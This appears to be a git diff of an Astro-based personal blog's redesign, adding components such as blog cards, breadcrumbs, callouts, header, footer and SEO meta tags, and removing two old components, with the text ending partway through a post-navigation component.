WindChillF: string
|
||||||
|
WindGustKmph: string
|
||||||
|
WindGustMiles: string
|
||||||
|
cloudcover: string
|
||||||
|
humidity: string
|
||||||
|
precipInches: string
|
||||||
|
precipMM: string
|
||||||
|
pressure: string
|
||||||
|
pressureInches: string
|
||||||
|
tempC: string
|
||||||
|
tempF: string
|
||||||
|
time: string
|
||||||
|
uvIndex: string
|
||||||
|
visibility: string
|
||||||
|
visibilityMiles: string
|
||||||
|
weatherCode: string
|
||||||
|
weatherDesc: Array<{ value: string }>
|
||||||
|
weatherIconUrl: Array<{ value: string }>
|
||||||
|
winddir16Point: string
|
||||||
|
winddirDegree: string
|
||||||
|
windspeedKmph: string
|
||||||
|
windspeedMiles: string
|
||||||
|
}>
|
||||||
|
maxtempC: string
|
||||||
|
maxtempF: string
|
||||||
|
mintempC: string
|
||||||
|
mintempF: string
|
||||||
|
sunHour: string
|
||||||
|
totalSnow_cm: string
|
||||||
|
uvIndex: string
|
||||||
|
}>
|
||||||
|
}
|
||||||
115
src/components/BlogCard.astro
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
---
|
||||||
|
import AvatarComponent from '@/components/ui/avatar'
|
||||||
|
import { Badge } from '@/components/ui/badge'
|
||||||
|
import { Separator } from '@/components/ui/separator'
|
||||||
|
import {
|
||||||
|
getCombinedReadingTime,
|
||||||
|
getSubpostCount,
|
||||||
|
isSubpost,
|
||||||
|
parseAuthors,
|
||||||
|
} from '@/lib/data-utils'
|
||||||
|
import { formatDate } from '@/lib/utils'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
import { Image } from 'astro:assets'
|
||||||
|
import type { CollectionEntry } from 'astro:content'
|
||||||
|
import Link from './Link.astro'
|
||||||
|
import { Ratings } from './ui/rating'
|
||||||
|
import { getReleaseData } from '@/lib/discogs'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
entry: CollectionEntry<'blog'>
|
||||||
|
}
|
||||||
|
|
||||||
|
const { entry } = Astro.props
|
||||||
|
const formattedDate = formatDate(entry.data.date)
|
||||||
|
const readTime = await getCombinedReadingTime(entry.id)
|
||||||
|
const authors = await parseAuthors(entry.data.authors ?? [])
|
||||||
|
const subpostCount = !isSubpost(entry.id) ? await getSubpostCount(entry.id) : 0
|
||||||
|
|
||||||
|
const rating = entry.data.tags?.find((tag) => tag.startsWith('rating-'))
|
||||||
|
const discogs = entry.data.discogs ? await getReleaseData(entry.data.discogs) : null;
|
||||||
|
---
|
||||||
|
|
||||||
|
<div
|
||||||
|
class="hover:bg-secondary/50 rounded-xl border p-4 transition-colors duration-300 ease-in-out"
|
||||||
|
>
|
||||||
|
<Link
|
||||||
|
href={`/${entry.collection}/${entry.id}`}
|
||||||
|
class="flex flex-col gap-4 sm:flex-row"
|
||||||
|
>
|
||||||
|
{
|
||||||
|
entry.data.image || (discogs && discogs.images[0]?.resource_url) && (
|
||||||
|
<div class="w-48 max-w-48 sm:shrink-0 h-30">
|
||||||
|
<Image
|
||||||
|
src={entry.data.image || discogs.images[0].resource_url}
|
||||||
|
alt={entry.data.title}
|
||||||
|
width={1200}
|
||||||
|
height={400}
|
||||||
|
class="w-full h-full object-cover rounded-lg"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
<div class="grow">
|
||||||
|
<h3 class="mb-1 text-lg font-medium">{entry.data.title}</h3>
|
||||||
|
<p class="text-muted-foreground mb-2 text-sm">{entry.data.description}</p>
|
||||||
|
|
||||||
|
<div
|
||||||
|
class="text-muted-foreground mb-2 flex flex-wrap items-center gap-x-2 text-xs"
|
||||||
|
>
|
||||||
|
{
|
||||||
|
authors.length > 0 && (
|
||||||
|
<>
|
||||||
|
{authors.map((author) => (
|
||||||
|
<div class="flex items-center gap-x-1.5">
|
||||||
|
<AvatarComponent
|
||||||
|
client:load
|
||||||
|
src={author.avatar}
|
||||||
|
alt={author.name}
|
||||||
|
fallback={author.name[0]}
|
||||||
|
className="size-5 rounded-full"
|
||||||
|
/>
|
||||||
|
<span>{author.name}</span>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
<Separator orientation="vertical" className="h-4!" />
|
||||||
|
</>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
<span>{formattedDate}</span>
|
||||||
|
<Separator orientation="vertical" className="h-4!" />
|
||||||
|
<span>{readTime}</span>
|
||||||
|
{
|
||||||
|
subpostCount > 0 && (
|
||||||
|
<>
|
||||||
|
<Separator orientation="vertical" className="h-4!" />
|
||||||
|
<span class="flex items-center gap-1">
|
||||||
|
<Icon name="lucide:file-text" class="size-3" />
|
||||||
|
{subpostCount} subpost{subpostCount === 1 ? '' : 's'}
|
||||||
|
</span>
|
||||||
|
</>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{
|
||||||
|
entry.data.tags && (
|
||||||
|
<div class="flex flex-wrap gap-2 items-center">
|
||||||
|
{rating && <div>
|
||||||
|
<Ratings rating={parseFloat(rating.replace('rating-', ''))} size={15} />
|
||||||
|
</div>}
|
||||||
|
{entry.data.tags.map((tag) => {
|
||||||
|
if (tag.startsWith('rating-')) return null;
|
||||||
|
return (
|
||||||
|
<Badge variant="secondary" className="flex items-center gap-x-1">
|
||||||
|
<Icon name="lucide:hash" class="size-3" />
|
||||||
|
{tag}
|
||||||
|
</Badge>
|
||||||
|
)})}
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
</div>
|
||||||
61
src/components/Breadcrumbs.astro
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
---
|
||||||
|
import {
|
||||||
|
Breadcrumb,
|
||||||
|
BreadcrumbItem,
|
||||||
|
BreadcrumbLink,
|
||||||
|
BreadcrumbList,
|
||||||
|
BreadcrumbPage,
|
||||||
|
BreadcrumbSeparator,
|
||||||
|
} from '@/components/ui/breadcrumb'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
|
||||||
|
export interface BreadcrumbItem {
|
||||||
|
href?: string
|
||||||
|
label: string
|
||||||
|
icon?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
items: BreadcrumbItem[]
|
||||||
|
}
|
||||||
|
|
||||||
|
const { items } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
<Breadcrumb>
|
||||||
|
<BreadcrumbList>
|
||||||
|
<BreadcrumbItem>
|
||||||
|
<BreadcrumbLink href="/">
|
||||||
|
<Icon name="lucide:home" class="size-4 shrink-0" />
|
||||||
|
</BreadcrumbLink>
|
||||||
|
</BreadcrumbItem>
|
||||||
|
{
|
||||||
|
items.map((item, index) => (
|
||||||
|
<>
|
||||||
|
<BreadcrumbSeparator />
|
||||||
|
<BreadcrumbItem>
|
||||||
|
{index === items.length - 1 ? (
|
||||||
|
<BreadcrumbPage>
|
||||||
|
<span class="flex items-center gap-x-2">
|
||||||
|
{item.icon && (
|
||||||
|
<Icon name={item.icon} class="size-4 shrink-0" />
|
||||||
|
)}
|
||||||
|
<span>{item.label}</span>
|
||||||
|
</span>
|
||||||
|
</BreadcrumbPage>
|
||||||
|
) : (
|
||||||
|
<BreadcrumbLink href={item.href}>
|
||||||
|
<span class="flex items-center gap-x-2">
|
||||||
|
{item.icon && (
|
||||||
|
<Icon name={item.icon} class="size-4 shrink-0" />
|
||||||
|
)}
|
||||||
|
<span>{item.label}</span>
|
||||||
|
</span>
|
||||||
|
</BreadcrumbLink>
|
||||||
|
)}
|
||||||
|
</BreadcrumbItem>
|
||||||
|
</>
|
||||||
|
))
|
||||||
|
}
|
||||||
|
</BreadcrumbList>
|
||||||
|
</Breadcrumb>
|
||||||
183
src/components/Callout.astro
Normal file
@@ -0,0 +1,183 @@
|
|||||||
|
---
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
import { cva, type VariantProps } from 'class-variance-authority'
|
||||||
|
|
||||||
|
const calloutConfig = {
|
||||||
|
note: {
|
||||||
|
style: 'border-blue-500 dark:bg-blue-950/5',
|
||||||
|
textColor: 'text-blue-700 dark:text-blue-300',
|
||||||
|
icon: 'lucide:info',
|
||||||
|
},
|
||||||
|
tip: {
|
||||||
|
style: 'border-green-500 dark:bg-green-950/5',
|
||||||
|
textColor: 'text-green-700 dark:text-green-300',
|
||||||
|
icon: 'lucide:lightbulb',
|
||||||
|
},
|
||||||
|
warning: {
|
||||||
|
style: 'border-amber-500 dark:bg-amber-950/5',
|
||||||
|
textColor: 'text-amber-700 dark:text-amber-300',
|
||||||
|
icon: 'lucide:alert-triangle',
|
||||||
|
},
|
||||||
|
danger: {
|
||||||
|
style: 'border-red-500 dark:bg-red-950/5',
|
||||||
|
textColor: 'text-red-700 dark:text-red-300',
|
||||||
|
icon: 'lucide:shield-alert',
|
||||||
|
},
|
||||||
|
important: {
|
||||||
|
style: 'border-purple-500 dark:bg-purple-950/5',
|
||||||
|
textColor: 'text-purple-700 dark:text-purple-300',
|
||||||
|
icon: 'lucide:message-square-warning',
|
||||||
|
},
|
||||||
|
definition: {
|
||||||
|
style: 'border-purple-500 dark:bg-purple-950/5',
|
||||||
|
textColor: 'text-purple-700 dark:text-purple-300',
|
||||||
|
icon: 'lucide:book-open',
|
||||||
|
},
|
||||||
|
theorem: {
|
||||||
|
style: 'border-teal-500 dark:bg-teal-950/5',
|
||||||
|
textColor: 'text-teal-700 dark:text-teal-300',
|
||||||
|
icon: 'lucide:check-circle',
|
||||||
|
},
|
||||||
|
lemma: {
|
||||||
|
style: 'border-sky-400 dark:bg-sky-950/5',
|
||||||
|
textColor: 'text-sky-700 dark:text-sky-300',
|
||||||
|
icon: 'lucide:puzzle',
|
||||||
|
},
|
||||||
|
proof: {
|
||||||
|
style: 'border-gray-500 dark:bg-gray-950/5',
|
||||||
|
textColor: 'text-gray-700 dark:text-gray-300',
|
||||||
|
icon: 'lucide:check-square',
|
||||||
|
},
|
||||||
|
corollary: {
|
||||||
|
style: 'border-cyan-500 dark:bg-cyan-950/5',
|
||||||
|
textColor: 'text-cyan-700 dark:text-cyan-300',
|
||||||
|
icon: 'lucide:git-branch',
|
||||||
|
},
|
||||||
|
proposition: {
|
||||||
|
style: 'border-slate-500 dark:bg-slate-950/5',
|
||||||
|
textColor: 'text-slate-700 dark:text-slate-300',
|
||||||
|
icon: 'lucide:file-text',
|
||||||
|
},
|
||||||
|
axiom: {
|
||||||
|
style: 'border-violet-600 dark:bg-violet-950/5',
|
||||||
|
textColor: 'text-violet-700 dark:text-violet-300',
|
||||||
|
icon: 'lucide:anchor',
|
||||||
|
},
|
||||||
|
conjecture: {
|
||||||
|
style: 'border-pink-500 dark:bg-pink-950/5',
|
||||||
|
textColor: 'text-pink-700 dark:text-pink-300',
|
||||||
|
icon: 'lucide:help-circle',
|
||||||
|
},
|
||||||
|
notation: {
|
||||||
|
style: 'border-slate-400 dark:bg-slate-950/5',
|
||||||
|
textColor: 'text-slate-700 dark:text-slate-300',
|
||||||
|
icon: 'lucide:pen-tool',
|
||||||
|
},
|
||||||
|
remark: {
|
||||||
|
style: 'border-gray-400 dark:bg-gray-950/5',
|
||||||
|
textColor: 'text-gray-700 dark:text-gray-300',
|
||||||
|
icon: 'lucide:message-circle',
|
||||||
|
},
|
||||||
|
intuition: {
|
||||||
|
style: 'border-yellow-500 dark:bg-yellow-950/5',
|
||||||
|
textColor: 'text-yellow-700 dark:text-yellow-300',
|
||||||
|
icon: 'lucide:lightbulb',
|
||||||
|
},
|
||||||
|
recall: {
|
||||||
|
style: 'border-blue-300 dark:bg-blue-950/5',
|
||||||
|
textColor: 'text-blue-600 dark:text-blue-300',
|
||||||
|
icon: 'lucide:rotate-ccw',
|
||||||
|
},
|
||||||
|
explanation: {
|
||||||
|
style: 'border-lime-500 dark:bg-lime-950/5',
|
||||||
|
textColor: 'text-lime-700 dark:text-lime-300',
|
||||||
|
icon: 'lucide:help-circle',
|
||||||
|
},
|
||||||
|
example: {
|
||||||
|
style: 'border-emerald-500 dark:bg-emerald-950/5',
|
||||||
|
textColor: 'text-emerald-700 dark:text-emerald-300',
|
||||||
|
icon: 'lucide:code',
|
||||||
|
},
|
||||||
|
exercise: {
|
||||||
|
style: 'border-indigo-500 dark:bg-indigo-950/5',
|
||||||
|
textColor: 'text-indigo-700 dark:text-indigo-300',
|
||||||
|
icon: 'lucide:dumbbell',
|
||||||
|
},
|
||||||
|
problem: {
|
||||||
|
style: 'border-orange-600 dark:bg-orange-950/5',
|
||||||
|
textColor: 'text-orange-700 dark:text-orange-300',
|
||||||
|
icon: 'lucide:alert-circle',
|
||||||
|
},
|
||||||
|
answer: {
|
||||||
|
style: 'border-teal-500 dark:bg-teal-950/5',
|
||||||
|
textColor: 'text-teal-700 dark:text-teal-300',
|
||||||
|
icon: 'lucide:check',
|
||||||
|
},
|
||||||
|
solution: {
|
||||||
|
style: 'border-emerald-600 dark:bg-emerald-950/5',
|
||||||
|
textColor: 'text-emerald-700 dark:text-emerald-300',
|
||||||
|
icon: 'lucide:check-circle-2',
|
||||||
|
},
|
||||||
|
summary: {
|
||||||
|
style: 'border-sky-500 dark:bg-sky-950/5',
|
||||||
|
textColor: 'text-sky-700 dark:text-sky-300',
|
||||||
|
icon: 'lucide:list',
|
||||||
|
},
|
||||||
|
} as const
|
||||||
|
|
||||||
|
const capitalize = (str: string) => str.charAt(0).toUpperCase() + str.slice(1)
|
||||||
|
|
||||||
|
const calloutVariants = cva('relative px-4 py-3 my-6 border-l-4 text-sm', {
|
||||||
|
variants: {
|
||||||
|
variant: Object.fromEntries(
|
||||||
|
Object.entries(calloutConfig).map(([key, config]) => [key, config.style]),
|
||||||
|
),
|
||||||
|
},
|
||||||
|
defaultVariants: {
|
||||||
|
variant: 'note',
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
interface Props extends VariantProps<typeof calloutVariants> {
|
||||||
|
title?: string
|
||||||
|
class?: string
|
||||||
|
variant?: keyof typeof calloutConfig
|
||||||
|
defaultOpen?: boolean
|
||||||
|
}
|
||||||
|
|
||||||
|
const { title, variant = 'note', defaultOpen = true, ...rest } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
<details
|
||||||
|
class={cn(
|
||||||
|
calloutVariants({ variant }),
|
||||||
|
rest.class,
|
||||||
|
'[&[open]>summary_svg:last-child]:rotate-180 [&[open]>summary]:mb-3',
|
||||||
|
)}
|
||||||
|
{...rest}
|
||||||
|
open={defaultOpen}
|
||||||
|
>
|
||||||
|
<summary
|
||||||
|
class="flex cursor-pointer items-center font-medium [&::-webkit-details-marker]:hidden"
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name={calloutConfig[variant].icon}
|
||||||
|
class={cn('mr-2 size-4 shrink-0', calloutConfig[variant].textColor)}
|
||||||
|
/>
|
||||||
|
<span class={cn('font-medium mr-2', calloutConfig[variant].textColor)}>
|
||||||
|
{capitalize(variant)}
|
||||||
|
{title && <span class="font-normal opacity-70"> ({title})</span>}
|
||||||
|
</span>
|
||||||
|
<Icon
|
||||||
|
name="lucide:chevron-down"
|
||||||
|
class={cn(
|
||||||
|
'ml-auto h-4 w-4 shrink-0 transition-transform duration-200',
|
||||||
|
calloutConfig[variant].textColor,
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</summary>
|
||||||
|
<div>
|
||||||
|
<slot />
|
||||||
|
</div>
|
||||||
|
</details>
|
||||||
6
src/components/Favicons.astro
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
<link rel="icon" type="image/png" href="/favicon-96x96.png" sizes="96x96" />
|
||||||
|
<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
|
||||||
|
<link rel="shortcut icon" href="/favicon.ico" />
|
||||||
|
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
|
||||||
|
<meta name="apple-mobile-web-app-title" content="astro-erudite" />
|
||||||
|
<link rel="manifest" href="/site.webmanifest" />
|
||||||
33
src/components/Footer.astro
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
---
|
||||||
|
import { Separator } from '@/components/ui/separator'
|
||||||
|
import { SOCIAL_LINKS } from '@/consts'
|
||||||
|
import Link from './Link.astro'
|
||||||
|
import SocialIcons from './SocialIcons.astro'
|
||||||
|
---
|
||||||
|
|
||||||
|
<footer class="py-4">
|
||||||
|
<div
|
||||||
|
class="mx-auto flex max-w-3xl flex-col items-center justify-center gap-y-2 px-4 sm:flex-row sm:justify-between"
|
||||||
|
>
|
||||||
|
<div class="flex flex-wrap items-center justify-center gap-x-2 text-center">
|
||||||
|
<span class="text-muted-foreground text-sm">
|
||||||
|
© {new Date().getFullYear()} All rights reserved.
|
||||||
|
</span>
|
||||||
|
<Separator orientation="vertical" className="hidden h-4! sm:block" />
|
||||||
|
<p class="text-muted-foreground text-sm">
|
||||||
|
By <Link
|
||||||
|
href="https://github.com/SrIzan10"
|
||||||
|
class="text-foreground"
|
||||||
|
external
|
||||||
|
underline>eth0</Link
|
||||||
|
>. Initial template by <Link
|
||||||
|
href="https://github.com/jktrn"
|
||||||
|
class="text-foreground"
|
||||||
|
external
|
||||||
|
underline>enscribe</Link
|
||||||
|
>.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<SocialIcons links={SOCIAL_LINKS} />
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
---
|
|
||||||
interface Props {
|
|
||||||
date: Date;
|
|
||||||
}
|
|
||||||
|
|
||||||
const { date } = Astro.props;
|
|
||||||
---
|
|
||||||
|
|
||||||
<time datetime={date.toISOString()}>
|
|
||||||
{
|
|
||||||
date.toLocaleDateString('en-us', {
|
|
||||||
year: 'numeric',
|
|
||||||
month: 'short',
|
|
||||||
day: 'numeric',
|
|
||||||
})
|
|
||||||
}
|
|
||||||
</time>
|
|
||||||
49
src/components/Head.astro
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
---
|
||||||
|
import { SITE } from '@/consts'
|
||||||
|
import { ClientRouter } from 'astro:transitions'
|
||||||
|
import Favicons from './Favicons.astro'
|
||||||
|
---
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||||
|
<meta
|
||||||
|
name="viewport"
|
||||||
|
content="width=device-width, initial-scale=1.0, user-scalable=yes"
|
||||||
|
/>
|
||||||
|
<meta name="generator" content={Astro.generator} />
|
||||||
|
|
||||||
|
<meta name="HandheldFriendly" content="True" />
|
||||||
|
<meta name="mobile-web-app-capable" content="yes" />
|
||||||
|
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||||
|
<meta name="apple-mobile-web-app-status-bar-style" content="default" />
|
||||||
|
<meta
|
||||||
|
name="format-detection"
|
||||||
|
content="telephone=no,date=no,address=no,email=no,url=no"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<meta
|
||||||
|
name="theme-color"
|
||||||
|
content="#121212"
|
||||||
|
media="(prefers-color-scheme: dark)"
|
||||||
|
/>
|
||||||
|
<meta
|
||||||
|
name="theme-color"
|
||||||
|
content="#121212"
|
||||||
|
media="(prefers-color-scheme: light)"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<link rel="sitemap" href="/sitemap-index.xml" />
|
||||||
|
<link rel="manifest" href="/site.webmanifest" />
|
||||||
|
<link
|
||||||
|
rel="alternate"
|
||||||
|
type="application/rss+xml"
|
||||||
|
title={SITE.title}
|
||||||
|
href={new URL('rss.xml', Astro.site)}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Favicons />
|
||||||
|
<ClientRouter />
|
||||||
|
|
||||||
|
<slot />
|
||||||
|
</head>
|
||||||
@@ -1,31 +1,37 @@
|
|||||||
---
|
---
|
||||||
import { SITE_TITLE } from '../consts';
|
import Link from '@/components/Link.astro'
|
||||||
import { ModeToggle } from '@/components/ui/modetoggle';
|
import ThemeToggle from '@/components/ThemeToggle.astro'
|
||||||
|
import MobileMenu from '@/components/ui/mobile-menu'
|
||||||
|
import { NAV_LINKS, SITE } from '@/consts'
|
||||||
|
import { Image } from 'astro:assets'
|
||||||
|
import logo from '../../public/static/logo.png'
|
||||||
---
|
---
|
||||||
|
|
||||||
<script is:inline>
|
<header transition:persist>
|
||||||
const getThemePreference = () => {
|
<div
|
||||||
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
|
class="mx-auto flex max-w-3xl items-center justify-between gap-4 px-4 py-3"
|
||||||
return localStorage.getItem('theme');
|
>
|
||||||
}
|
<Link href="/" class="flex shrink-0 items-center justify-center gap-3">
|
||||||
return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light';
|
<Image src={logo} alt="Logo" class="size-5 sm:size-6 rounded-full" />
|
||||||
};
|
<span class="hidden h-full text-lg font-medium min-[300px]:block"
|
||||||
const isDark = getThemePreference() === 'dark';
|
>{SITE.title}</span
|
||||||
document.documentElement.classList[isDark ? 'add' : 'remove']('dark');
|
>
|
||||||
|
</Link>
|
||||||
if (typeof localStorage !== 'undefined') {
|
<div class="flex items-center sm:gap-4">
|
||||||
const observer = new MutationObserver(() => {
|
<nav class="hidden items-center gap-4 text-sm sm:flex sm:gap-6">
|
||||||
const isDark = document.documentElement.classList.contains('dark');
|
{
|
||||||
localStorage.setItem('theme', isDark ? 'dark' : 'light');
|
NAV_LINKS.map((item) => (
|
||||||
});
|
<Link
|
||||||
observer.observe(document.documentElement, { attributes: true, attributeFilter: ['class'] });
|
href={item.href}
|
||||||
}
|
class="text-foreground/60 hover:text-foreground/80 capitalize transition-colors"
|
||||||
</script>
|
>
|
||||||
|
{item.label}
|
||||||
<div class="flex items-center fixed gap-4 p-2 bg-slate-300/35 dark:bg-slate-500/20 backdrop-blur-md w-full sm:w-auto">
|
</Link>
|
||||||
<a href="/" class="font-bold text-lg">{ SITE_TITLE }</a>
|
))
|
||||||
<a href="/blog">Blog</a>
|
}
|
||||||
<a href="https://jp.srizan.dev">日本語</a>
|
</nav>
|
||||||
<div class="flex-1" />
|
<MobileMenu client:load transition:persist />
|
||||||
<ModeToggle client:load />
|
<ThemeToggle transition:persist />
|
||||||
</div>
|
</div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|||||||
@@ -1,24 +0,0 @@
|
|||||||
---
|
|
||||||
import { FaExternalLinkAlt } from 'react-icons/fa';
|
|
||||||
import '@/styles/global.css'
|
|
||||||
type Props = {
|
|
||||||
url: string;
|
|
||||||
author: string;
|
|
||||||
description: string;
|
|
||||||
location: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const { url, author, description, location } = Astro.props;
|
|
||||||
---
|
|
||||||
|
|
||||||
<style>
|
|
||||||
p {
|
|
||||||
@apply mr-[0.2em] my-[0.1em] first:ml-[0.2em];
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
|
|
||||||
<div class='absolute bottom-0 right-0 text-[0.8em] text-white bg-black opacity-40 select-none flex transition-opacity duration-150 ease-in-out hover:opacity-100'>
|
|
||||||
<a href={location} target="_blank"><p>{description}</p></a>
|
|
||||||
<p>by {author}</p>
|
|
||||||
<a href={url} target="_blank" aria-label="image url"><FaExternalLinkAlt /></a>
|
|
||||||
</div>
|
|
||||||
27
src/components/Link.astro
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
---
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
href: string
|
||||||
|
external?: boolean
|
||||||
|
class?: string
|
||||||
|
underline?: boolean
|
||||||
|
[key: string]: any
|
||||||
|
}
|
||||||
|
|
||||||
|
const { href, external, class: className, underline, ...rest } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
<a
|
||||||
|
href={href}
|
||||||
|
target={external ? '_blank' : '_self'}
|
||||||
|
class={cn(
|
||||||
|
'inline-block transition-colors duration-300 ease-in-out',
|
||||||
|
underline &&
|
||||||
|
'underline decoration-muted-foreground underline-offset-[3px] hover:decoration-foreground',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...rest}
|
||||||
|
>
|
||||||
|
<slot />
|
||||||
|
</a>
|
||||||
30
src/components/PageHead.astro
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
---
|
||||||
|
import { SITE } from '@/consts'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
title?: string
|
||||||
|
description?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
const { title = SITE.title, description = SITE.description } = Astro.props
|
||||||
|
const image = new URL('/static/1200x630.png', Astro.site)
|
||||||
|
---
|
||||||
|
|
||||||
|
<title>{`${title} | ${SITE.title}`}</title>
|
||||||
|
<meta name="description" content={description} />
|
||||||
|
<link rel="canonical" href={SITE.href} />
|
||||||
|
|
||||||
|
<meta property="og:title" content={title} />
|
||||||
|
<meta property="og:description" content={description} />
|
||||||
|
<meta property="og:image" content={image} />
|
||||||
|
<meta property="og:image:alt" content={title} />
|
||||||
|
<meta property="og:type" content="website" />
|
||||||
|
<meta property="og:locale" content={SITE.locale} />
|
||||||
|
<meta property="og:site_name" content={SITE.title} />
|
||||||
|
<meta property="og:url" content={Astro.url} />
|
||||||
|
|
||||||
|
<meta name="twitter:title" content={title} />
|
||||||
|
<meta name="twitter:description" content={description} />
|
||||||
|
<meta name="twitter:image" content={image} />
|
||||||
|
<meta name="twitter:image:alt" content={title} />
|
||||||
|
<meta name="twitter:card" content="summary_large_image" />
|
||||||
60
src/components/PostHead.astro
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
---
|
||||||
|
import { SITE } from '@/consts'
|
||||||
|
import { isSubpost } from '@/lib/data-utils'
|
||||||
|
import type { CollectionEntry } from 'astro:content'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
post: CollectionEntry<'blog'>
|
||||||
|
}
|
||||||
|
|
||||||
|
const { post } = Astro.props
|
||||||
|
|
||||||
|
const title = post.data.title || SITE.title
|
||||||
|
const description = post.data.description || SITE.description
|
||||||
|
const image = new URL('/static/1200x630.png', Astro.site)
|
||||||
|
const author =
|
||||||
|
post.data.authors && post.data.authors.length > 0
|
||||||
|
? post.data.authors.join(', ')
|
||||||
|
: SITE.author
|
||||||
|
---
|
||||||
|
|
||||||
|
<title>{`${title} | ${SITE.title}`}</title>
|
||||||
|
<meta name="title" content={`${title} | ${SITE.title}`} />
|
||||||
|
<meta name="description" content={description} />
|
||||||
|
<link rel="canonical" href={SITE.href} />
|
||||||
|
|
||||||
|
{isSubpost(post.id) && <meta name="robots" content="noindex" />}
|
||||||
|
|
||||||
|
<meta property="og:title" content={title} />
|
||||||
|
<meta property="og:description" content={description} />
|
||||||
|
<meta
|
||||||
|
property="og:image"
|
||||||
|
content={post?.data?.image?.src
|
||||||
|
? `${SITE.href}${post.data.image.src}`
|
||||||
|
: image}
|
||||||
|
/>
|
||||||
|
<meta property="og:image:alt" content={title} />
|
||||||
|
<meta property="og:type" content="website" />
|
||||||
|
<meta property="og:locale" content={SITE.locale} />
|
||||||
|
<meta property="og:site_name" content={SITE.title} />
|
||||||
|
<meta property="og:url" content={Astro.url} />
|
||||||
|
<meta property="og:author" content={author} />
|
||||||
|
|
||||||
|
<meta name="twitter:title" content={title} />
|
||||||
|
<meta name="twitter:description" content={description} />
|
||||||
|
<meta
|
||||||
|
property="twitter:image"
|
||||||
|
content={post?.data?.image?.src
|
||||||
|
? `${SITE.href}${post.data.image.src}`
|
||||||
|
: image}
|
||||||
|
/>
|
||||||
|
<meta name="twitter:image:alt" content={title} />
|
||||||
|
<meta name="twitter:card" content="summary_large_image" />
|
||||||
|
<meta name="twitter:creator" content={author} />
|
||||||
|
|
||||||
|
{
|
||||||
|
post?.data.tags &&
|
||||||
|
post.data.tags.map((tag: string) => {
|
||||||
|
return <meta property="article:tag" content={tag} />
|
||||||
|
})
|
||||||
|
}
|
||||||
94
src/components/PostNavigation.astro
Normal file
@@ -0,0 +1,94 @@
|
|||||||
|
---
|
||||||
|
import Link from '@/components/Link.astro'
|
||||||
|
import { buttonVariants } from '@/components/ui/button'
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
|
||||||
|
const { newerPost, olderPost, parentPost } = Astro.props
|
||||||
|
const isSubpost = !!parentPost
|
||||||
|
---
|
||||||
|
|
||||||
|
<nav
|
||||||
|
class={cn(
|
||||||
|
'col-start-2 grid grid-cols-1 gap-4',
|
||||||
|
isSubpost ? 'sm:grid-cols-3' : 'sm:grid-cols-2',
|
||||||
|
)}
|
||||||
|
>
|
||||||
|
<Link
|
||||||
|
href={olderPost ? `/blog/${olderPost.id}#post-title` : '#'}
|
||||||
|
class={cn(
|
||||||
|
buttonVariants({ variant: 'outline' }),
|
||||||
|
'rounded-xl group flex items-center justify-start size-full',
|
||||||
|
!olderPost && 'pointer-events-none opacity-50 cursor-not-allowed',
|
||||||
|
)}
|
||||||
|
aria-disabled={!olderPost}
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:arrow-left"
|
||||||
|
class="mr-2 size-4 transition-transform group-hover:-translate-x-1"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col items-start overflow-hidden text-wrap">
|
||||||
|
<span class="text-muted-foreground text-left text-xs">
|
||||||
|
{isSubpost ? 'Previous Subpost' : 'Previous Post'}
|
||||||
|
</span>
|
||||||
|
<span class="w-full text-left text-sm text-balance text-ellipsis">
|
||||||
|
{
|
||||||
|
olderPost?.data.title ||
|
||||||
|
(isSubpost ? 'No older subpost' : "You're at the oldest post!")
|
||||||
|
}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
|
